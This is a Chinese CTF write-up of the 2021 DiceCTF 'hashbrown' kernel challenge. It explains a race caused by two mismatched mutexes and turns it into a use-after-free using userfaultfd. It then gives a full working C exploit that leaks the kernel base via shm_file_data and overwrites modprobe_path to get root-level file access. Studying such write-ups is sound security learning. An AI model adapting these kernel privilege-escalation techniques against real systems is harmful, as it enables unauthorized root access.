【互斥锁不当使用导致的条件竞争】2021_DiceCTF_hashbrown

前言

这个题目还挺有意思的,他并不像之前做的题目直接给你一个贴脸的 UAF 等,而是把 UAF 放在了条件竞争的环境下,其实条件竞争这个漏洞在内核中经常出现。

这里题目没有去符号,所以逆向的难度不是很大,但作者似乎在比赛几个小时后就放出了源码,应该是看做的人比较少。但我建议读者直接进行逆向,因为题目没有去符号所以逆向难度不是很大,而且还可以锻炼一下逆向的能力。笔者就是逆向能力比较弱,但如果在真实场景中,逆向能力还是很重要的(扯的有点远了)。

漏洞分析

保护:开了 smap、smep、pti、kaslr 基本都是标配了

并且具有如下编译选项:用的 slab,所以堆上不存在 freelist,而且开了 FG-KASLR。内核版本 v-5.11.0,userfaultfd 最后的荣光

CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB=y
CONFIG_FG_KASLR=y

题目维护着一个哈希结构:bucket_count 初始为 0x10,entry_count_max 初始为 0xc

其中 entry_count 最大 1024,bucket_count 最大 511

函数比较多,有 add_key / delete_key / delete_value / get_value / update_value / resize 函数,就分析漏洞利用中关键的函数了,而且函数功能从名字就可以看出来了。

其中操作 resize 时使用的是 resize_lock 互斥锁,而其他函数都是使用的 operations_lock 互斥锁:

这里其实就非常明显的条件竞争了,如果题目只使用一个互斥锁的话,那么这个模块就是安全的。

用户需要传入如下结构体:这里笔者将用户传入的 request_t 结构体称作 req

typedef struct request_t {
        uint32_t key;
        uint32_t value_size;
        char* src;
        char* dest;
}request_t;

漏洞点

 1)当 hashmap 中 entry_count < entry_count_max 时

根据 req.key 与 hashmap.bucket_count 计算出一个 hask_idx,然后根据 req.value_size/src 创建一个 hask_entry,并将其链入链表尾

2)当 当 hashmap 中 entry_count == entry_count_max 并且 hashmap.bucket_count <= 511 时

这时候会调用 resize 函数扩充 buckets,这里 entry_count_max 之所以不是 bucket_count,笔者认为是为了避免哈希冲突。

整体的逻辑比较简单,将 bucket_count 扩大两倍,然后重新分配 bockets 数组,并重新分配 hash_entry 即 new_hash_entry,并把原来的 hash_entry 内容复制到 new_hash_entry,所以这里复用了 value 堆块(这里笔者想了想 old_hash_entry 也可以直接复用啊,可以是为了做题吧)。然后根据用户传入的 key 判断是否需要创建新的 hash_entry,最后将 new_bockets 链入 hashmap 中,然后释放掉所有的原来的 hash_entry

可以看到,这里使用了 copy_from_user,并且这里 hashmap.buckets 中链接的是原来的 buckets,所以如果我们利用 userfaultfd 卡住,然后在另外的线程中就可以释放 value,这时候新的 new_buckets 中 hash_enrty.value 保存的还是该指针。

这里我不知道咋表述,画了个图:

比如我们用 userfaultfd 将其卡住,这是我们在另一个线程中释放掉 value,那么最后 new_buckets 链入 hashmap 时就存在 UAF。

漏洞利用

value 的大小限制为 [1,0xb0],所以想法还是挺多的。这里笔者打的是 modprobe_path

 1)shm_file_data 泄漏 kernel_offset

这里笔者利用的是 shm_file_data 去泄漏 kernel_offset,很简单,将 value 释放掉,然后分配 shm_file_data 拿到 UAF 堆块,然后利用 get_vaule 即可得到 shm_file_data 中的数据

2)任意地址写 modprobe_path

这里就是简单的堆风水,形成如下堆布局:

这样就可以通过 hash_entry_1 去修改 hash_entry_2 的 value_ptr 指针指向 modprobe_path,然后在利用 hash_entry_2 去修改 modprobe_path 的内容

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#define SHM_FILE_DATA_NUMS 0x100
int fd;
int shm_id;
int shm_ids[SHM_FILE_DATA_NUMS];
size_t init_ipc_ns = 0xffffffff81b0dca0;
size_t kernel_offset = 0;

typedef struct request_t {
        uint32_t key;
        uint32_t value_size;
        char* src;
        char* dest;
}request_t;

void add_key(uint32_t key, uint32_t value_size, char* src)
{
        request_t req = { .key = key, .value_size = value_size, .src = src };
        ioctl(fd, 0x1337, &req);
}

void dele_value(uint32_t key)
{
        request_t req = { .key = key };
        ioctl(fd, 0x133A, &req);
}

void get_value(uint32_t key, uint32_t value_size, char* dest)
{
        request_t req = { .key = key, .value_size = value_size, .dest = dest };
        ioctl(fd, 0x133B, &req);
}

void update_value(uint32_t key, uint32_t value_size, char* src)
{
        request_t req = { .key = key, .value_size = value_size, .src = src };
        ioctl(fd, 0x1339, &req);
}

void dele_key(uint32_t key)
{
        request_t req = { .key = key };
        ioctl(fd, 0x1338, &req);
}

void resize(uint32_t key, uint32_t value_size, char* src)
{
        request_t req = { .key = key, .value_size = value_size, .src = src };
        ioctl(fd, 0x1337, &req);
}

uint32_t get_hash_idx(uint32_t key, uint32_t size)
{
  return (size - 1) & ((key >> 12) ^ (key >> 20) ^ key ^ (((key >> 12) ^ (key >> 20) ^ key) >> 4) ^ (((key >> 12) ^ (key >> 20) ^ key) >> 7));
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                memset(copy_src, 'B', sizeof(copy_src));
                dele_value(0);
                if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0666|IPC_CREAT)) < 0) err_exit("FAILED to shmget");
                if (shmat(shm_id, NULL, 0) < 0) err_exit("FAILED to shmat");
                for (int i = 1; i < 0xc; i++)
                {
                        dele_value(i);
                }
//              dele_value(1);
//              dele_value(2);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag.txt' > /home/ctf/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /home/ctf/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/dummy"); // 非法格式的二进制文件
        system("chmod +x /home/ctf/dummy");
        system("/home/ctf/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag.txt");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        fd = open("/dev/hashbrown", O_RDWR);
        if (fd < 0) err_exit("FAILED to open dev file");

        char buf[0x20];
        char* uffd_buf  = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        pthread_t uffd_thr;
        if (uffd_buf == NULL) err_exit("FAILED to mmap for uffd_buf");
        register_userfaultfd(&uffd_thr, uffd_buf, 0x1000, handler);

        memset(buf, 'A', sizeof(buf));
//      for (int i = 0; i < 0xc; i++)
//              printf("%d ==> %d\n", i, get_hash_idx(0x10, i));

        add_key(0, 0x20, buf);
        for (int i = 1; i < 0xc; i++)
        {
                add_key(i, 0x18, buf);
        }

        resize(0xc, 0x40, uffd_buf);

        get_value(0, 0x20, buf);
        binary_dump("shm_file_data", buf, 0x20);
        kernel_offset = *(size_t*)(buf+0x8) - init_ipc_ns;
        hexx("kernel_offset", kernel_offset);

        for (int i = 0; i < 0xc+0xc/2; i++)
        {
                if ((shm_ids[i] = shmget(IPC_PRIVATE, 0x1000, 0666|IPC_CREAT)) < 0) err_exit("FAILED to shmget");
                if (shmat(shm_ids[i], NULL, 0) < 0) err_exit("FAILED to shmat");
        }
        memset(buf, 'B', sizeof(buf));
        add_key(0xd, 0x18, buf);
/*
        for (int i = 0; i < 0xe; i++)
        {
                memset(buf, 0, sizeof(buf));
                get_value(i, 0x18, buf);
                printf("hash entry idx: %#x ==> ", i);
                binary_dump("hash entry data", buf, 0x20);
        }
*/
        *(uint32_t*)buf = 0xd;
        *(uint32_t*)(buf+4) = 0x18;
        *(uint64_t*)(buf+0x8) = 0xffffffff81a46fe0+kernel_offset;
        *(uint64_t*)(buf+0x10) = 0;
        update_value(5, 0x18, buf);
        memset(buf, 0, sizeof(buf));
        get_value(0xd, 0x18, buf);
        binary_dump("hash entry d", buf, 0x20);

        memset(buf, 0, sizeof(buf));
        strcpy(buf, "/home/ctf/x");
        update_value(0xd, 0x18, buf);
        get_flag();
        puts("[X] EXP NEVER END");
        return 0;
}

效果如下:

  • 19
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值